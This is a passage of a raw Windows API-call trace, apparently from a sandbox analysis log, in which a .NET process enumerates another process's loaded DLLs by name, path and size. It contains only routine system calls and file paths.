hModule=0x751d0000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0107.885] CoTaskMemFree (pv=0x4e83770) [0107.885] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.886] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x751d0000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0107.886] CoTaskMemFree (pv=0x4e83770) [0107.886] GetModuleInformation (in: hProcess=0x2c4, hModule=0x75ce0000, lpmodinfo=0x2746630, cb=0xc | out: lpmodinfo=0x2746630*(lpBaseOfDll=0x75ce0000, SizeOfImage=0x57000, EntryPoint=0x75cf9ba6)) returned 1 [0107.886] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.886] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x75ce0000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0107.887] CoTaskMemFree (pv=0x4e83770) [0107.887] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.887] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x75ce0000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0107.887] CoTaskMemFree (pv=0x4e83770) [0107.887] GetModuleInformation (in: hProcess=0x2c4, hModule=0x773c0000, lpmodinfo=0x274873c, cb=0xc | out: lpmodinfo=0x274873c*(lpBaseOfDll=0x773c0000, SizeOfImage=0x90000, EntryPoint=0x773d6343)) returned 1 [0107.887] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.887] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x773c0000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0107.888] CoTaskMemFree (pv=0x4e83770) [0107.888] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.888] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x773c0000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0107.888] CoTaskMemFree (pv=0x4e83770) [0107.888] GetModuleInformation (in: hProcess=0x2c4, hModule=0x756f0000, lpmodinfo=0x274a840, cb=0xc | out: lpmodinfo=0x274a840*(lpBaseOfDll=0x756f0000, SizeOfImage=0x100000, EntryPoint=0x7570b6ed)) returned 1 [0107.888] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.888] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x756f0000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0107.889] CoTaskMemFree (pv=0x4e83770) [0107.889] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.889] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x756f0000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0107.889] CoTaskMemFree (pv=0x4e83770) [0107.889] GetModuleInformation (in: hProcess=0x2c4, hModule=0x762d0000, lpmodinfo=0x274c94c, cb=0xc | out: lpmodinfo=0x274c94c*(lpBaseOfDll=0x762d0000, SizeOfImage=0xa000, EntryPoint=0x762d36a0)) returned 1 [0107.889] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.889] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x762d0000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0107.890] CoTaskMemFree (pv=0x4e83770) [0107.890] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.890] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x762d0000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0107.890] CoTaskMemFree (pv=0x4e83770) [0107.890] GetModuleInformation (in: hProcess=0x2c4, hModule=0x75410000, lpmodinfo=0x274ea48, cb=0xc | out: lpmodinfo=0x274ea48*(lpBaseOfDll=0x75410000, SizeOfImage=0x9d000, EntryPoint=0x75443fd7)) returned 1 [0107.891] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.891] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x75410000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0107.891] CoTaskMemFree (pv=0x4e83770) [0107.891] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.891] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x75410000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0107.892] CoTaskMemFree (pv=0x4e83770) [0107.892] GetModuleInformation (in: hProcess=0x2c4, hModule=0x76500000, lpmodinfo=0x2750bd8, cb=0xc | out: lpmodinfo=0x2750bd8*(lpBaseOfDll=0x76500000, SizeOfImage=0x60000, EntryPoint=0x7651158f)) returned 1 [0107.892] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.892] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x76500000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0107.892] CoTaskMemFree (pv=0x4e83770) [0107.892] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.892] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x76500000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0107.893] CoTaskMemFree (pv=0x4e83770) [0107.893] GetModuleInformation (in: hProcess=0x2c4, hModule=0x75d40000, lpmodinfo=0x2752cdc, cb=0xc | out: lpmodinfo=0x2752cdc*(lpBaseOfDll=0x75d40000, SizeOfImage=0xcc000, EntryPoint=0x75d4168b)) returned 1 [0107.893] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.893] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x75d40000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0107.894] CoTaskMemFree (pv=0x4e83770) [0107.894] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.894] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x75d40000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0107.894] CoTaskMemFree (pv=0x4e83770) [0107.894] GetModuleInformation (in: hProcess=0x2c4, hModule=0x751c0000, lpmodinfo=0x2754de0, cb=0xc | out: lpmodinfo=0x2754de0*(lpBaseOfDll=0x751c0000, SizeOfImage=0x9000, EntryPoint=0x751c1220)) returned 1 [0107.895] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.895] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x751c0000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0107.895] CoTaskMemFree (pv=0x4e83770) [0107.895] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.895] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x751c0000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0107.896] CoTaskMemFree (pv=0x4e83770) [0107.896] GetModuleInformation (in: hProcess=0x2c4, hModule=0x74630000, lpmodinfo=0x2756eec, cb=0xc | out: lpmodinfo=0x2756eec*(lpBaseOfDll=0x74630000, SizeOfImage=0x6a8000, EntryPoint=0x74777040)) returned 1 [0107.896] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.896] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x74630000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0107.896] CoTaskMemFree (pv=0x4e83770) [0107.896] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.896] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x74630000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0107.897] CoTaskMemFree (pv=0x4e83770) [0107.897] GetModuleInformation (in: hProcess=0x2c4, hModule=0x750c0000, lpmodinfo=0x275901c, cb=0xc | out: lpmodinfo=0x275901c*(lpBaseOfDll=0x750c0000, SizeOfImage=0xf5000, EntryPoint=0x75114160)) returned 1 [0107.897] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.897] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x750c0000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0107.898] CoTaskMemFree (pv=0x4e83770) [0107.898] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.898] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x750c0000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0107.898] CoTaskMemFree (pv=0x4e83770) [0107.898] GetModuleInformation (in: hProcess=0x2c4, hModule=0x72500000, lpmodinfo=0x275b150, cb=0xc | out: lpmodinfo=0x275b150*(lpBaseOfDll=0x72500000, SizeOfImage=0x122b000, EntryPoint=0x0)) returned 1 [0107.899] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.899] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x72500000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0107.900] CoTaskMemFree (pv=0x4e83770) [0107.900] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.900] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x72500000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll")) returned 0x68 [0107.900] CoTaskMemFree (pv=0x4e83770) [0107.900] GetModuleInformation (in: hProcess=0x2c4, hModule=0x75540000, lpmodinfo=0x275d2f8, cb=0xc | out: lpmodinfo=0x275d2f8*(lpBaseOfDll=0x75540000, SizeOfImage=0x15c000, EntryPoint=0x7558ba3d)) returned 1 [0107.901] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.901] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x75540000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0107.901] CoTaskMemFree (pv=0x4e83770) [0107.901] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.901] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x75540000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0107.902] CoTaskMemFree (pv=0x4e83770) [0107.902] GetModuleInformation (in: hProcess=0x2c4, hModule=0x74d00000, lpmodinfo=0x275f3fc, cb=0xc | out: lpmodinfo=0x275f3fc*(lpBaseOfDll=0x74d00000, SizeOfImage=0x80000, EntryPoint=0x74d137c9)) returned 1 [0107.902] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.902] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x74d00000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0107.903] CoTaskMemFree (pv=0x4e83770) [0107.903] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.903] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x74d00000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0107.903] CoTaskMemFree (pv=0x4e83770) [0107.903] GetModuleInformation (in: hProcess=0x2c4, hModule=0x71b50000, lpmodinfo=0x2761508, cb=0xc | out: lpmodinfo=0x2761508*(lpBaseOfDll=0x71b50000, SizeOfImage=0x9ad000, EntryPoint=0x0)) returned 1 [0107.904] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.904] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x71b50000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0107.904] CoTaskMemFree (pv=0x4e83770) [0107.904] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.904] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x71b50000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\500ffa28b327e171fe664023003e947e\\system.ni.dll")) returned 0x64 [0107.905] CoTaskMemFree (pv=0x4e83770) [0107.905] GetModuleInformation (in: hProcess=0x2c4, hModule=0x71430000, lpmodinfo=0x27636a4, cb=0xc | out: lpmodinfo=0x27636a4*(lpBaseOfDll=0x71430000, SizeOfImage=0x716000, EntryPoint=0x0)) returned 1 [0107.905] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.905] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x71430000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="System.Core.ni.dll") returned 0x12 [0107.906] CoTaskMemFree (pv=0x4e83770) [0107.906] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.906] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x71430000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\386fde9190d499d6645df8b90eb76242\\system.core.ni.dll")) returned 0x6e [0107.906] CoTaskMemFree (pv=0x4e83770) [0107.906] GetModuleInformation (in: hProcess=0x2c4, hModule=0x74ef0000, lpmodinfo=0x2765860, cb=0xc | out: lpmodinfo=0x2765860*(lpBaseOfDll=0x74ef0000, SizeOfImage=0x1cb000, EntryPoint=0x0)) returned 1 [0107.907] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.907] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x74ef0000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0107.907] CoTaskMemFree (pv=0x4e83770) [0107.908] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.908] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x74ef0000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\microsoft.visualbasic.ni.dll")) returned 0x81 [0107.908] CoTaskMemFree (pv=0x4e83770) [0107.908] GetModuleInformation (in: hProcess=0x2c4, hModule=0x74e70000, lpmodinfo=0x2767a54, cb=0xc | out: lpmodinfo=0x2767a54*(lpBaseOfDll=0x74e70000, SizeOfImage=0x7d000, EntryPoint=0x74e71140)) returned 1 [0107.909] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.909] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x74e70000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0107.909] CoTaskMemFree (pv=0x4e83770) [0107.909] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.909] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x74e70000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0107.910] CoTaskMemFree (pv=0x4e83770) [0107.910] GetModuleInformation (in: hProcess=0x2c4, hModule=0x75f60000, lpmodinfo=0x2769b94, cb=0xc | out: lpmodinfo=0x2769b94*(lpBaseOfDll=0x75f60000, SizeOfImage=0x8f000, EntryPoint=0x75f63fb1)) returned 1 [0107.911] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.911] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x75f60000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0107.911] CoTaskMemFree (pv=0x4e83770) [0107.911] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.911] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x75f60000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0107.912] CoTaskMemFree (pv=0x4e83770) [0107.912] GetModuleInformation (in: hProcess=0x2c4, hModule=0x744a0000, lpmodinfo=0x276bca8, cb=0xc | out: lpmodinfo=0x276bca8*(lpBaseOfDll=0x744a0000, SizeOfImage=0x18d000, EntryPoint=0x0)) returned 1 [0107.913] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.913] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x744a0000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0107.913] CoTaskMemFree (pv=0x4e83770) [0107.914] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.914] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x744a0000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\553c0312fdf5a5449f3649f0515e70fb\\system.drawing.ni.dll")) returned 0x74 [0107.914] CoTaskMemFree (pv=0x4e83770) [0107.914] GetModuleInformation (in: hProcess=0x2c4, hModule=0x707d0000, lpmodinfo=0x276de74, cb=0xc | out: lpmodinfo=0x276de74*(lpBaseOfDll=0x707d0000, SizeOfImage=0xc58000, EntryPoint=0x0)) returned 1 [0107.915] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.915] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x707d0000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0107.916] CoTaskMemFree (pv=0x4e83770) [0107.916] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.916] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x707d0000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\7a6894982f35a1d75ec73d447c583da2\\system.windows.forms.ni.dll")) returned 0x80 [0107.916] CoTaskMemFree (pv=0x4e83770) [0107.917] GetModuleInformation (in: hProcess=0x2c4, hModule=0x74e50000, lpmodinfo=0x2770064, cb=0xc | out: lpmodinfo=0x2770064*(lpBaseOfDll=0x74e50000, SizeOfImage=0x16000, EntryPoint=0x74e52dc3)) returned 1 [0107.917] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.917] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x74e50000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0107.918] CoTaskMemFree (pv=0x4e83770) [0107.918] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.918] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x74e50000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0107.919] CoTaskMemFree (pv=0x4e83770) [0107.919] GetModuleInformation (in: hProcess=0x2c4, hModule=0x74460000, lpmodinfo=0x277227c, cb=0xc | out: lpmodinfo=0x277227c*(lpBaseOfDll=0x74460000, SizeOfImage=0x3b000, EntryPoint=0x7446128d)) returned 1 [0107.919] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.919] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x74460000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0107.920] CoTaskMemFree (pv=0x4e83770) [0107.920] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.920] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x74460000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0107.921] CoTaskMemFree (pv=0x4e83770) [0107.921] GetModuleInformation (in: hProcess=0x2c4, hModule=0x743d0000, lpmodinfo=0x2774388, cb=0xc | out: lpmodinfo=0x2774388*(lpBaseOfDll=0x743d0000, SizeOfImage=0x84000, EntryPoint=0x743d19a9)) returned 1 [0107.922] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.922] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x743d0000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0107.922] CoTaskMemFree (pv=0x4e83770) [0107.922] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.922] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x743d0000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")) returned 0x7b [0107.923] CoTaskMemFree (pv=0x4e83770) [0107.923] GetModuleInformation (in: hProcess=0x2c4, hModule=0x743b0000, lpmodinfo=0x2776550, cb=0xc | out: lpmodinfo=0x2776550*(lpBaseOfDll=0x743b0000, SizeOfImage=0x13000, EntryPoint=0x743b18f0)) returned 1 [0107.924] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.924] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x743b0000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="nlssorting.dll") returned 0xe [0107.924] CoTaskMemFree (pv=0x4e83770) [0107.924] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.924] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x743b0000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll")) returned 0x3c [0107.925] CoTaskMemFree (pv=0x4e83770) [0107.925] GetModuleInformation (in: hProcess=0x2c4, hModule=0x742e0000, lpmodinfo=0x27786a0, cb=0xc | out: lpmodinfo=0x27786a0*(lpBaseOfDll=0x742e0000, SizeOfImage=0xc5000, EntryPoint=0x0)) returned 1 [0107.926] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.926] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x742e0000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="System.Runtime.Remoting.ni.dll") returned 0x1e [0107.927] CoTaskMemFree (pv=0x4e83770) [0107.927] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.927] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x742e0000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\System.Runtime.Remoting.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\system.runtime.remoting.ni.dll")) returned 0x83 [0107.928] CoTaskMemFree (pv=0x4e83770) [0107.928] GetModuleInformation (in: hProcess=0x2c4, hModule=0x74150000, lpmodinfo=0x277a89c, cb=0xc | out: lpmodinfo=0x277a89c*(lpBaseOfDll=0x74150000, SizeOfImage=0x190000, EntryPoint=0x741ed026)) returned 1 [0107.928] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.928] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x74150000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0107.929] CoTaskMemFree (pv=0x4e83770) [0107.929] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.929] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x74150000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0107.930] CoTaskMemFree (pv=0x4e83770) [0107.930] GetModuleInformation (in: hProcess=0x2c4, hModule=0x73c90000, lpmodinfo=0x277ca4c, cb=0xc | out: lpmodinfo=0x277ca4c*(lpBaseOfDll=0x73c90000, SizeOfImage=0x19e000, EntryPoint=0x73cbe6b5)) returned 1 [0107.931] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.931] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x73c90000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0107.932] CoTaskMemFree (pv=0x4e83770) [0107.932] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.932] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x73c90000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")) returned 0x7a [0107.932] CoTaskMemFree (pv=0x4e83770) [0107.932] GetModuleInformation (in: hProcess=0x2c4, hModule=0x74ce0000, lpmodinfo=0x277ec14, cb=0xc | out: lpmodinfo=0x277ec14*(lpBaseOfDll=0x74ce0000, SizeOfImage=0x13000, EntryPoint=0x74ce1d3f)) returned 1 [0107.933] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.933] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x74ce0000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="dwmapi.dll") returned 0xa [0107.934] CoTaskMemFree (pv=0x4e83770) [0107.934] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.934] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x74ce0000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")) returned 0x1e [0107.934] CoTaskMemFree (pv=0x4e83770) [0107.934] GetModuleInformation (in: hProcess=0x2c4, hModule=0x754b0000, lpmodinfo=0x2780d20, cb=0xc | out: lpmodinfo=0x2780d20*(lpBaseOfDll=0x754b0000, SizeOfImage=0x83000, EntryPoint=0x754b23d2)) returned 1 [0107.935] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.935] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x754b0000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="CLBCatQ.DLL") returned 0xb [0107.936] CoTaskMemFree (pv=0x4e83770) [0107.936] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.936] 